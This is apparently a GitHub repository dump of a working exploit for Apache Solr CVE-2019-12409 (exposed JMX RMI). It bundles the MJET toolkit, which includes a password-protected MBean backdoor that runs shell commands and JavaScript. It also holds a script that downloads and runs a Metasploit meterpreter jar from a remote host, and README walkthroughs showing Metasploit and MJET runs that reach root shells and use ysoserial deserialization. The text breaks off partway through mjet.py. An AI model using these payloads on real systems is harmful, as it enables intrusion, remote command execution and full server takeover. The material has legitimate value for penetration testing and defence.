├── 18983.jpg ├── shell.jpg ├── jconsole.jpg ├── CVE-2019-12409.gif ├── mjet ├── payloads │ └── MogwaiLabsMJET-MLet.jar ├── scripts │ ├── javaproperties.js │ └── meterpreter.js ├── payloads_src │ └── MogwaiLabsMJET │ │ ├── src │ │ └── main │ │ │ └── java │ │ │ └── de │ │ │ └── mogwailabs │ │ │ └── MogwaiLabsMJET │ │ │ ├── MogwaiLabsPayloadMBean.java │ │ │ └── MogwaiLabsPayload.java │ │ └── pom.xml ├── LICENSE ├── README.md └── mjet.py └── README.md /18983.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/18983.jpg -------------------------------------------------------------------------------- /shell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/shell.jpg -------------------------------------------------------------------------------- /jconsole.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/jconsole.jpg -------------------------------------------------------------------------------- /CVE-2019-12409.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/CVE-2019-12409.gif -------------------------------------------------------------------------------- /mjet/payloads/MogwaiLabsMJET-MLet.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/CVE-2019-12409/HEAD/mjet/payloads/MogwaiLabsMJET-MLet.jar -------------------------------------------------------------------------------- /mjet/scripts/javaproperties.js: -------------------------------------------------------------------------------- 1 | // define Java classes in JavaScript 2 | var System = Java.type("java.lang.System"); 3 | var properties = System.getProperties(); 4 | 5 | for each (var key in properties.keySet()) { 6 | print(key + "=" + properties[key]); 7 | } 8 | -------------------------------------------------------------------------------- /mjet/payloads_src/MogwaiLabsMJET/src/main/java/de/mogwailabs/MogwaiLabsMJET/MogwaiLabsPayloadMBean.java: -------------------------------------------------------------------------------- 1 | package de.mogwailabs.MogwaiLabsMJET; 2 | 3 | public interface MogwaiLabsPayloadMBean { 4 | 5 | public abstract String runCMD(String passwd, String cmd); 6 | public abstract String runJS(String passwd, String js); 7 | public abstract boolean changePassword(String oldPass, String newPass); 8 | 9 | } 10 | 11 | -------------------------------------------------------------------------------- /mjet/scripts/meterpreter.js: -------------------------------------------------------------------------------- 1 | // url of the jar file 2 | payloadURL = "http://x.x.x.x:8000/meterpreter.jar" 3 | 4 | // define Java classes in JavaScript 5 | var URL = Java.type("java.net.URL"); 6 | var URLClassLoader = Java.type("java.net.URLClassLoader"); 7 | var Class = Java.type("java.lang.Class"); 8 | var Method = Java.type("java.lang.reflect.Method"); 9 | var URLArray = Java.type("java.net.URL[]"); 10 | var StringArray = Java.type("java.lang.String[]") 11 | var ObjectArray = Java.type("java.lang.Object[]") 12 | 13 | payloadURLs = new URLArray(1); 14 | payloadURLs[0] = new URL(payloadURL); 15 | 16 | paramsArray = new StringArray(0); 17 | 18 | objectArray = new ObjectArray(1); 19 | objectArray[0] = paramsArray; 20 | 21 | // Load payload jar and invoke main method of metasploit.Payload 22 | urlClassLoader = new URLClassLoader(payloadURLs, "".getClass().getClassLoader()) 23 | payloadClass = Class.forName("metasploit.Payload", true, urlClassLoader); 24 | method = payloadClass.getDeclaredMethod("main", paramsArray.getClass()) 25 | 26 | method.invoke(null, objectArray) 27 | -------------------------------------------------------------------------------- /mjet/payloads_src/MogwaiLabsMJET/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | de.mogwailabs 6 | MogwaiLabsMJET 7 | MLet 8 | jar 9 | 10 | MogwaiLabsMJET 11 | http://maven.apache.org 12 | 13 | 14 | UTF-8 15 | 16 | 17 | 18 | 19 | 20 | org.apache.maven.plugins 21 | maven-compiler-plugin 22 | 3.0 23 | 24 | 1.6 25 | 1.6 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /mjet/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Hans-Martin Münch 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /mjet/payloads_src/MogwaiLabsMJET/src/main/java/de/mogwailabs/MogwaiLabsMJET/MogwaiLabsPayload.java: -------------------------------------------------------------------------------- 1 | package de.mogwailabs.MogwaiLabsMJET; 2 | 3 | import javax.script.ScriptEngineManager; 4 | import java.io.InputStreamReader; 5 | import java.io.StringWriter; 6 | 7 | import javax.script.ScriptEngine; 8 | 9 | public class MogwaiLabsPayload implements MogwaiLabsPayloadMBean { 10 | 11 | private String password; 12 | 13 | 14 | public MogwaiLabsPayload() { 15 | password = "I+n33d+a+glass+0f+watta"; 16 | } 17 | 18 | @Override 19 | public String runCMD(String passwd, String cmd) { 20 | 21 | 22 | if (passwd.equals(this.password) == false) { 23 | return "ERROR: Wrong password"; 24 | } 25 | 26 | try { 27 | 28 | 29 | String[] full_cmd; 30 | 31 | if(System.getProperty("line.separator").equals("\n")) 32 | full_cmd = new String[]{"bash","-c",cmd}; 33 | else // Assumes win 34 | full_cmd = new String[]{"cmd.exe","/c",cmd}; 35 | 36 | java.lang.Runtime runtime = java.lang.Runtime.getRuntime(); 37 | java.lang.Process p = runtime.exec(full_cmd); 38 | 39 | p.waitFor(); 40 | 41 | java.io.InputStream is = p.getInputStream(); 42 | java.io.BufferedReader reader = new java.io.BufferedReader(new InputStreamReader(is)); 43 | 44 | java.lang.StringBuilder builder = new StringBuilder(); 45 | String line = null; 46 | while ( (line = reader.readLine()) != null) { 47 | builder.append(line); 48 | builder.append(System.getProperty("line.separator")); 49 | } 50 | String result = builder.toString(); 51 | 52 | is.close(); 53 | 54 | return result; 55 | 56 | } catch(Exception ex) { 57 | return ex.getMessage(); 58 | } 59 | } 60 | 61 | @Override 62 | public String runJS(String passwd, String js) { 63 | 64 | if (passwd.equals(this.password)) { 65 | try { 66 | StringWriter output =new StringWriter(); 67 | 68 | ScriptEngineManager factory = new ScriptEngineManager(); 69 | ScriptEngine engine = factory.getEngineByName("JavaScript"); 70 | engine.getContext().setWriter(output); 71 | engine.eval(js); 72 | return output.toString(); 73 | } catch(Exception ex) { 74 | return ex.getMessage(); 75 | } 76 | 77 | } 78 | else { 79 | return "ERROR: Wrong password"; 80 | } 81 | 82 | 83 | 84 | } 85 | 86 | 87 | @Override 88 | public boolean changePassword(String oldPass, String newPass) { 89 | 90 | if (oldPass.equals(this.password)) { 91 | this.password = newPass; 92 | return true; 93 | } 94 | return false; 95 | } 96 | 97 | } 98 | 99 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-12409 Apache Solr RCE 2 | 3 | ![](./CVE-2019-12409.gif) 4 | 5 | ## ENABLE_REMOTE_JMX_OPTS="true" 6 | 7 | ``` 8 | root@kali:/opt/solr-8.1.1/bin# cat solr.in.sh |grep true 9 | # Set to true to activate the JMX RMI connector to allow remote JMX client applications 10 | ENABLE_REMOTE_JMX_OPTS="true" 11 | #SOLR_OPTS="$SOLR_OPTS -Dsolr.clustering.enabled=true" 12 | # Enables log rotation before starting Solr. Setting SOLR_LOG_PRESTART_ROTATION=true will let Solr take care of pre 13 | # Enables HTTPS. It is implictly true if you set SOLR_SSL_KEY_STORE. Use this config 14 | #SOLR_SSL_ENABLED=true 15 | #SOLR_SSL_CHECK_PEER_NAME=true 16 | 17 | ``` 18 | ![](./18983.jpg) 19 | 20 | ## nmap scan info 21 | ``` 22 | root@kali:/opt/mjet# nmap -p 18983 -Pn -T5 -n -sC -sV 10.10.20.166 -sC -sV 23 | Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 17:00 CST 24 | Nmap scan report for 10.10.20.166 25 | Host is up (0.00016s latency). 26 | 27 | PORT STATE SERVICE VERSION 28 | 18983/tcp open java-rmi Java RMI 29 | | rmi-dumpregistry: 30 | | jmxrmi 31 | | javax.management.remote.rmi.RMIServerImpl_Stub 32 | | @127.0.1.1:18983 33 | | extends 34 | | java.rmi.server.RemoteStub 35 | | extends 36 | |_ java.rmi.server.RemoteObject 37 | 38 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 39 | Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds 40 | root@kali:/opt/mjet# 41 | 42 | ``` 43 | 44 | ## 0x01 use msf 45 | 46 | ``` 47 | msf5 exploit(multi/misc/java_jmx_server) > show options 48 | 49 | Module options (exploit/multi/misc/java_jmx_server): 50 | 51 | Name Current Setting Required Description 52 | ---- --------------- -------- ----------- 53 | JMXRMI jmxrmi yes The name where the JMX RMI interface is bound 54 | JMX_PASSWORD no The password to interact with an authenticated JMX endpoint 55 | JMX_ROLE no The role to interact with an authenticated JMX endpoint 56 | RHOSTS 10.10.20.166 yes The target address range or CIDR identifier 57 | RPORT 18983 yes The target port (TCP) 58 | SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 59 | SRVPORT 8080 yes The local port to listen on. 60 | SSLCert no Path to a custom SSL certificate (default is randomly generated) 61 | URIPATH no The URI to use for this exploit (default is random) 62 | 63 | 64 | Payload options (java/meterpreter/reverse_tcp): 65 | 66 | Name Current Setting Required Description 67 | ---- --------------- -------- ----------- 68 | LHOST 10.10.20.166 yes The listen address (an interface may be specified) 69 | LPORT 4444 yes The listen port 70 | 71 | 72 | Exploit target: 73 | 74 | Id Name 75 | -- ---- 76 | 0 Generic (Java Payload) 77 | 78 | 79 | msf5 exploit(multi/misc/java_jmx_server) > run 80 | 81 | [*] Started reverse TCP handler on 10.10.20.166:4444 82 | [*] 10.10.20.166:18983 - Using URL: http://0.0.0.0:8080/2kDic5 83 | [*] 10.10.20.166:18983 - Local IP: http://10.10.20.166:8080/2kDic5 84 | [*] 10.10.20.166:18983 - Sending RMI Header... 85 | [*] 10.10.20.166:18983 - Discovering the JMXRMI endpoint... 86 | [+] 10.10.20.166:18983 - JMXRMI endpoint on 127.0.1.1:18983 87 | [*] 10.10.20.166:18983 - Proceeding with handshake... 88 | [+] 10.10.20.166:18983 - Handshake with JMX MBean server on 127.0.1.1:18983 89 | [*] 10.10.20.166:18983 - Loading payload... 90 | [*] 10.10.20.166:18983 - Replied to request for mlet 91 | [*] 10.10.20.166:18983 - Replied to request for payload JAR 92 | [*] 10.10.20.166:18983 - Executing payload... 93 | [*] Sending stage (53845 bytes) to 10.10.20.166 94 | [*] Meterpreter session 2 opened (10.10.20.166:4444 -> 10.10.20.166:48474) at 2019-11-19 16:39:49 +0800 95 | 96 | meterpreter > sysinfo 97 | Computer : kali 98 | OS : Linux 4.19.0-kali1-amd64 (amd64) 99 | Meterpreter : java/linux 100 | meterpreter > shell 101 | Process 1 created. 102 | Channel 1 created. 103 | id 104 | uid=0(root) gid=0(root) groups=0(root) 105 | pwd 106 | /opt/solr-8.1.1/server 107 | ls 108 | contexts 109 | etc 110 | lib 111 | logs 112 | modules 113 | README.txt 114 | resources 115 | scripts 116 | solr 117 | solr-webapp 118 | start.jar 119 | exit 120 | meterpreter > background 121 | [*] Backgrounding session 2... 122 | msf5 exploit(multi/misc/java_jmx_server) > 123 | 124 | ``` 125 | 126 | ## 0x02 use mjet 127 | 128 | ![](./shell.jpg) 129 | 130 | #### usage: 131 | 132 | `java -jar jython-standalone-2.7.0.jar mjet.py 10.10.20.166 18983 install super_secret http://10.10.20.166:8000/ 8000` 133 | 134 | `java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "id&&pwd&&ls"` 135 | 136 | #### mlet 137 | 138 | ``` 139 | 140 | 141 | 142 | 143 | ``` 144 | #### attack example 145 | 146 | ``` 147 | root@kali:/opt/mjet# java -jar jython-standalone-2.7.0.jar mjet.py 10.10.20.166 18983 install super_secret http://10.10.20.166:8000/ 8000 148 | 149 | MJET - MOGWAI LABS JMX Exploitation Toolkit 150 | =========================================== 151 | [+] Starting webserver at port 8000 152 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.20.166:18983/jmxrmi 153 | [+] Connected: rmi://127.0.0.1 18 154 | [+] Loaded javax.management.loading.MLet 155 | [+] Loading malicious MBean from http://10.10.20.166:8000/ 156 | [+] Invoking: javax.management.loading.MLet.getMBeansFromURL 157 | 158 | 10.10.20.166 - - [19/Nov/2019 03:39:17] "GET / HTTP/1.1" 200 - 159 | [+] Object instance already existed, no need to install it a second time 160 | [+] Done 161 | root@kali:/opt/mjet# java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "id&&pwd&&ls" 162 | 163 | MJET - MOGWAI LABS JMX Exploitation Toolkit 164 | =========================================== 165 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:18983/jmxrmi 166 | [+] Connected: rmi://127.0.0.1 19 167 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 168 | [+] Executing command: id&&pwd&&ls 169 | uid=0(root) gid=0(root) groups=0(root) 170 | /opt/solr-8.1.1/server 171 | contexts 172 | etc 173 | lib 174 | logs 175 | modules 176 | README.txt 177 | resources 178 | scripts 179 | solr 180 | solr-webapp 181 | start.jar 182 | 183 | 184 | [+] Done 185 | root@kali:/opt/mjet# 186 | 187 | ``` 188 | ![](./jconsole.jpg) 189 | 190 | ## 参考链接: 191 | 192 | https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/ 193 | 194 | https://www.rapid7.com/db/modules/exploit/multi/misc/java_jmx_server 195 | 196 | https://github.com/mogwailabs/mjet 197 | -------------------------------------------------------------------------------- /mjet/README.md: -------------------------------------------------------------------------------- 1 | # MJET by MOGWAI LABS 2 | 3 | MOGWAI LABS JMX Exploitation Toolkit 4 | 5 | MJET is a fork of [sjet](https://github.com/siberas/sjet/), which was developed by siberas but is no longer actively maintained. MJET is maintained by the MOGWAI LABS team which also provided most of the original sjet codebase. 6 | 7 | 8 | MJET allows an easy exploitation of insecure configured JMX services. Additional background 9 | information can be found [here](https://www.optiv.com/blog/exploiting-jmx-rmi) and [here](https://www.owasp.org/images/c/c1/JMX_-_Java_Management_Extensions_-_Hans-Martin_Muench.pdf). 10 | 11 | ## Prerequisites 12 | 13 | * [Jython 2.7](https://www.jython.org/) 14 | * [Ysoserial](https://github.com/frohoff/ysoserial) (for exploiting deserialisation vulnerabilities via JMX) 15 | 16 | ## Usage 17 | 18 | MJET implements a CLI interface (using [argparse](https://docs.python.org/3/library/argparse.html)): 19 | 20 | ``` 21 | jython mjet.py targetHost targetPort password MODE (modeOptions) 22 | ``` 23 | Where 24 | 25 | * **targetHost** - the target IP address 26 | * **targetPort** - the target port where JMX is running 27 | * **MODE** - the script mode 28 | * **modeOptions** - the options for the mode selected 29 | 30 | Optional arguments (if JMX authentication is enabled): 31 | * **--jmxrole** - the username 32 | * **--jmxpassword** - the password 33 | 34 | ### Modes and modeOptions 35 | 36 | * **install** - installs the payload in the current target 37 | * *password* - the password that should be set after successful installation 38 | * *payload_url* - full URL to load the payload 39 | * *payload_port* - port to load the payload 40 | * **uninstall** - uninstalls the payload from the current target 41 | * **changepw** - change the password on a already deployed payload 42 | * *password* - the password to access the installed MBean 43 | * *newpass* - The new password 44 | * **command** - runs the command *CMD* in the targetHost 45 | * *password* - the password to access the installed MBean 46 | * *CMD* - the command to run 47 | * **shell** - starts a simple shell in targetHost (with the limitations of java's Runtime.exec()) 48 | * *password* - the password to access the installed MBean 49 | * **javascript** - runs a javascript file *FILENAME* in the targetHost 50 | * *password* - the password to access the installed MBean 51 | * *FILENAME* - the javascript to be run 52 | * **deserialize** - send a ysoserial payload to the target 53 | * *gadget* - gadget as provided by ysoserial, e.g., CommonsCollections6 54 | * *cmd* - command to be executed 55 | * **webserver** - just run the MLET web server 56 | * *payload_url* - full URL to load the payload 57 | * *payload_port* - port to load the payload 58 | 59 | ## Examples 60 | 61 | 62 | ### Installing the payload MBean on a vulnerable JMX service 63 | 64 | In the following example, the vulnerable JMX service runs on 10.165.188.23 port 2222, the attacker has 65 | the IP address 10.165.188.1. The JMX service will connect to the web service of the attacker to download 66 | the payload jar file. MJET will start the necessary web service on port 8000. 67 | 68 | After the successful installation of the MBean, the default password is changed to the password that was provided 69 | at the command line ("super_secret"). 70 | 71 | ``` 72 | h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000 73 | 74 | MJET - MOGWAI LABS JMX Exploitation Toolkit 75 | =========================================== 76 | [+] Starting webserver at port 8000 77 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 78 | [+] Connected: rmi://10.165.188.1 1 79 | [+] Loaded javax.management.loading.MLet 80 | [+] Loading malicious MBean from http://10.165.188.1:8000 81 | [+] Invoking: javax.management.loading.MLet.getMBeansFromURL 82 | 10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 - 83 | [+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1 84 | [+] Changing default password... 85 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 86 | [+] Successfully changed password 87 | [+] Done 88 | h0ng10@rocksteady ~/w/mjet> 89 | ``` 90 | 91 | Installation with JMX credentials (also needs a weak configuration of the server): 92 | ``` 93 | h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD 94 | mJET - MOGWAI LABS JMX Exploitation Toolkit 95 | ======================================= 96 | [+] Starting webserver at port 8000 97 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi 98 | [+] Using credentials: JMXUSER / JMXPASSWORD 99 | [+] Connected: rmi://192.168.11.132 1 100 | [+] Loaded javax.management.loading.MLet 101 | [+] Loading malicious MBean from http://192.168.11.132:8000 102 | [+] Invoking: javax.management.loading.MLet.getMBeansFromURL 103 | 192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 - 104 | 192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 - 105 | [+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1 106 | [+] Changing default password... 107 | [+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload 108 | [+] Successfully changed password 109 | 110 | h0ng10@rocksteady:~/mjet$ 111 | ``` 112 | 113 | ### Running the command 'ls -la' in a Linux target: 114 | 115 | After the payload was installed, we can use it to execute OS commands on the target. 116 | 117 | ``` 118 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la" 119 | 120 | MJET - MOGWAI LABS JMX Exploitation Toolkit 121 | =========================================== 122 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 123 | [+] Connected: rmi://10.165.188.1 4 124 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 125 | [+] Executing command: ls -la 126 | total 20 127 | drwxr-xr-x 5 root root 4096 Apr 26 11:12 . 128 | drwxr-xr-x 33 root root 4096 Apr 10 13:54 .. 129 | lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8 130 | drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib 131 | lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8 132 | drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy 133 | drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps 134 | lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8 135 | 136 | 137 | [+] Done 138 | h0ng10@rocksteady ~/w/mjet> 139 | ``` 140 | ### Running in shell mode 141 | 142 | If you don't want to load Java for every command, you can use the "shell mode" 143 | to get a limited command shell. 144 | 145 | ``` 146 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 147 | 148 | MJET - MOGWAI LABS JMX Exploitation Toolkit 149 | =========================================== 150 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 151 | [+] Connected: rmi://10.165.188.1 5 152 | [+] Use command 'exit_shell' to exit the shell 153 | >>> ls -la 154 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 155 | [+] Executing command: ls -la 156 | total 20 157 | drwxr-xr-x 5 root root 4096 Apr 26 11:12 . 158 | drwxr-xr-x 33 root root 4096 Apr 10 13:54 .. 159 | lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8 160 | drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib 161 | lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8 162 | drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy 163 | drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps 164 | lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8 165 | 166 | 167 | >>> pwd 168 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 169 | [+] Executing command: pwd 170 | /var/lib/tomcat8 171 | 172 | 173 | >>> exit_shell 174 | [+] Done 175 | h0ng10@rocksteady ~/w/mjet> 176 | 177 | ``` 178 | 179 | ### Invoke a JavaScript payload on a target: 180 | 181 | The example script "javaproperties.js" displays the Java properties of the vulnerable 182 | service. It can be invoked as follows: 183 | 184 | ``` 185 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 186 | 187 | MJET - MOGWAI LABS JMX Exploitation Toolkit 188 | =========================================== 189 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 190 | [+] Connected: rmi://10.165.188.1 6 191 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 192 | [+] Executing script 193 | awt.toolkit=sun.awt.X11.XToolkit 194 | java.specification.version=11 195 | sun.cpu.isalist= 196 | sun.jnu.encoding=UTF-8 197 | java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar 198 | com.sun.management.jmxremote.authenticate=false 199 | java.vm.vendor=Oracle Corporation 200 | sun.arch.data.model=64 201 | ... 202 | 203 | 204 | [+] Done 205 | 206 | ``` 207 | 208 | ### Change the password 209 | 210 | Change the existing password ("super_secret") to "this-is-the-new-password": 211 | 212 | ``` 213 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password 214 | 215 | MJET - MOGWAI LABS JMX Exploitation Toolkit 216 | =========================================== 217 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 218 | [+] Connected: rmi://10.165.188.1 7 219 | [+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload 220 | [+] Successfully changed password 221 | [+] Done 222 | 223 | ``` 224 | 225 | ### Uninstall the payload MBean from the target 226 | 227 | 228 | Uninstall the payload MBean 'MogwaiLabs' from the target: 229 | 230 | ``` 231 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall 232 | 233 | MJET - MOGWAI LABS JMX Exploitation Toolkit 234 | =========================================== 235 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 236 | [+] Connected: rmi://10.165.188.1 8 237 | [+] MBean correctly uninstalled 238 | [+] Done 239 | 240 | ``` 241 | 242 | ### Exploit Java deserialization with ysoserial 243 | 244 | Exploit Java deserialization with ysoserial on target: 245 | The file ysoserial.jar must be present in the MJET directory. 246 | You can select any ysoserial payload as you like, similar to the original ysoserial calls. 247 | 248 | This attack even works if JMX authentication is enabled and the user has "readonly" permissions. 249 | 250 | ``` 251 | h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx" 252 | 253 | MJET - MOGWAI LABS JMX Exploitation Toolkit 254 | =========================================== 255 | [+] Added ysoserial API capacities 256 | [+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi 257 | [+] Using credentials: user / userpassword 258 | [+] Connected: rmi://10.165.188.1 user 21 259 | [+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl 260 | [+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel) 261 | [+] Got an access denied exception - this is expected 262 | 263 | [+] Done 264 | 265 | ``` 266 | 267 | ### Webserver only mode 268 | 269 | It is also possible to just run the web server that provides the MLET code and the JAR file with the payload MBean 270 | ``` 271 | h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000 272 | 273 | MJET - MOGWAI LABS JMX Exploitation Toolkit 274 | =========================================== 275 | [+] Starting webserver at port 8000 276 | [+] Press Enter to stop the service 277 | 278 | ``` 279 | 280 | ## Contributing 281 | 282 | Feel free to contribute. 283 | 284 | ## Authors 285 | 286 | * **Hans-Martin Münch** - *Initial idea and work* - [h0ng10](https://twitter.com/h0ng10) 287 | * **Patricio Reller** - *CLI and extra options* - [preller](https://github.com/preller) 288 | * **Ben Campbell** - *Several improvements* - [Meatballs1](https://github.com/Meatballs1) 289 | * **Arnim Rupp** - *Authentication support* 290 | * **Sebastian Kindler** - *Deserialization support* 291 | 292 | See also the list of [contributors](https://github.com/mogwailabs/sjet/graphs/contributors) who participated in this project. 293 | 294 | ## License 295 | 296 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 297 | -------------------------------------------------------------------------------- /mjet/mjet.py: -------------------------------------------------------------------------------- 1 | # jmx stuff 2 | from javax.management.remote import JMXServiceURL 3 | from javax.management.remote import JMXConnector 4 | from javax.management.remote import JMXConnectorFactory 5 | from javax.management import ObjectName 6 | from java.lang import String 7 | from java.lang import Object 8 | from jarray import array 9 | from java.io import IOException 10 | from javax.net.ssl import TrustManager, X509TrustManager 11 | from javax.net.ssl import SSLContext 12 | # BaseHTTPServer needed to serve mlets 13 | from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer 14 | from threading import Thread 15 | 16 | import sys 17 | import os 18 | import time 19 | import jarray 20 | from jarray import array 21 | 22 | 23 | 24 | # Extra 25 | import argparse 26 | import base64 27 | import random 28 | import string 29 | 30 | 31 | authorSignature = 'MJET - MOGWAI LABS JMX Exploitation Toolkit\n' 32 | authorSignature += '===========================================' 33 | 34 | class TrustAllX509TrustManager(X509TrustManager): 35 | def checkClientTrusted(self, chain, auth): 36 | pass 37 | 38 | def checkServerTrusted(self,chain,auth): 39 | pass 40 | 41 | def getAcceptedIssuers(self): 42 | return None 43 | 44 | 45 | ### AUX ### 46 | def connectToJMX(args): 47 | # Basic JMX connection, always required 48 | trust_managers = array([TrustAllX509TrustManager()], TrustManager) 49 | 50 | sc = SSLContext.getInstance("SSL") 51 | sc.init(None, trust_managers, None) 52 | SSLContext.setDefault(sc) 53 | jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args.targetHost + ":" + args.targetPort + "/jmxrmi") 54 | 55 | print "[+] Connecting to: " + str(jmx_url) 56 | try: 57 | # for passing credentials for password 58 | if args.jmxpassword and args.jmxrole: 59 | print ("[+] Using credentials: " + str(args.jmxrole) + " / " + str(args.jmxpassword)) 60 | credentials = array([args.jmxrole,args.jmxpassword],String) 61 | environment = {JMXConnector.CREDENTIALS:credentials} 62 | jmx_connector = JMXConnectorFactory.connect(jmx_url, environment) 63 | else: 64 | jmx_connector = JMXConnectorFactory.connect(jmx_url) 65 | 66 | print "[+] Connected: " + str(jmx_connector.getConnectionId()) 67 | bean_server = jmx_connector.getMBeanServerConnection() 68 | return bean_server 69 | except: 70 | print "[-] Error: Can't connect to remote service" 71 | 72 | if "Authentication failed! Invalid username or password" in str(sys.exc_info()[1]): 73 | print "[-] Authentication failed! Invalid username or password" 74 | 75 | sys.exit(-1) 76 | ########## 77 | 78 | ### WEBSERVER MODE ### 79 | def webserverMode(args): 80 | startWebserver(args) 81 | raw_input("[+] Press Enter to stop the service\n") 82 | 83 | ### /WEBSERVER MODE ### 84 | 85 | ### INSTALL MODE ### 86 | 87 | def installMode(args): 88 | startWebserver(args) 89 | bean_server = connectToJMX(args) 90 | installMBean(args, bean_server) 91 | print "[+] Done" 92 | 93 | def installMBean(args, bean_server): 94 | # Installation, load javax.management.loading.MLet to install additional MBeans 95 | # If loading fails, the Mlet is already loaded... 96 | try: 97 | mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None) 98 | except: 99 | # MLet Bean can't be created because it already exists 100 | mlet_bean = 